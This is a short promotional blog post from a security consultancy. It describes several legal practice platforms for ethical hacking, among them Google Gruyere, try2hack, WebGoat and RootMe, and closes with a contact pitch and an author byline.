This is a free, secure, and legal training platform for hackers to test and expand their ethical hacking abilities with challenges, and more. They are greater than just another hacker wargames site. They have a community devoted to studying and sharing ethical hacking knowledge, technical passions, programming expertise, with many active plans in development. It gives numerous different challenges that contain starter as well as advanced hacking abilities. The challenges are enjoyable and engaging, with real-life cases and different behaviors. Each challenge has a thread on a forum where you can plan it with other members of the community and offer resources to solve the puzzle faster

What about Google gruyere?

Gruyere has a variety of security bugs ranging from cross-site programming and cross-site request forgery to details disclosure, denial of service, and remote code running. The target of this test code lab is to guide you through identifying some of these bugs and studying ways to fix them both in Gruyere and in basic.

What about try2hack?

This website provides several safety-oriented challenges for your fun. It is actually one of the greatest challenge sites still around.

What about WebGoat?

WebGoat is a deliberately unsafe app that makes interested programmers just like you to test weaknesses found in Java-based apps that use common and greater open source components. Web application security is difficult to learn and exercise. Not many individuals have full-blown web apps like internet book stores or online banks that can be used to scan for weaknesses. Security professionals frequently need to test options against a platform known to be weaknesses to ensure that they act as advertised. All of this is required to happen in a secure and legal ecosystem.

What about RootMe?

RootMe offers a simple, speedy, and affordable platform to study your hacking ability. It is an easy-to-use website, you just have to put a digital signature into the website, and you are perfect to go. With just a few selections, you will access different virtual environments.

If you have any doubts about this topic or have to get advice and get the best services and consultation against cyberthreats. Feel free to contact us. AIRZERO SEC will be your strong firewall. Email id: [email protected]

Author - Johnson Augustine
Ethical Hacker and Data Security Researcher
Founder: Airo Global Software Inc
LinkedIn Profile: www.linkedin.com/in/johnsontaugustine/